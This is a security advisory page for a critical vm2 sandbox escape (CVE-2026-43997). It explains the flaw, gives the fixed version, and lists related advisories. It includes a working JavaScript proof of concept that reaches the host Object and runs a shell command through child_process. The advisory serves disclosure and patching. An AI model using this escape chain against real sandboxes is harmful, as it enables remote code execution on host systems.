CriticalGHSA-47x8-96vw-5wg6CVE-2026-43997

vm2 Access to Host Object Enables Sandbox Escape

Published 7 May 2026 · Updated 14 May 2026

Is your project on an affected vm2?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected package

vm2npm
Affected
<3.11.0
Fixed in
3.11.0
Update to the fixed version for your release line, for example:npm install vm2@3.11.0

Details

Summary

It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

Details

There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)

PoC

const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Is GHSA-47x8-96vw-5wg6 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.

More advisories for vm2

  • CriticalCVE-2026-93605vm2 contains a sandbox escape vulnerability · 7 Oct 2026
  • CriticalCVE-2026-100721vm2: NodeVM custom resolution bypasses external path boundaries · 5 Oct 2026
  • HighCVE-2026-100722vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process · 5 Oct 2026
  • MediumCVE-2026-100723vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary · 5 Oct 2026
  • HighCVE-2026-92959vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM · 5 Oct 2026
  • CriticalCVE-2026-92955vm2: Sandbox Escape (NodeVM) · 5 Oct 2026
All 78 advisories for vm2

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.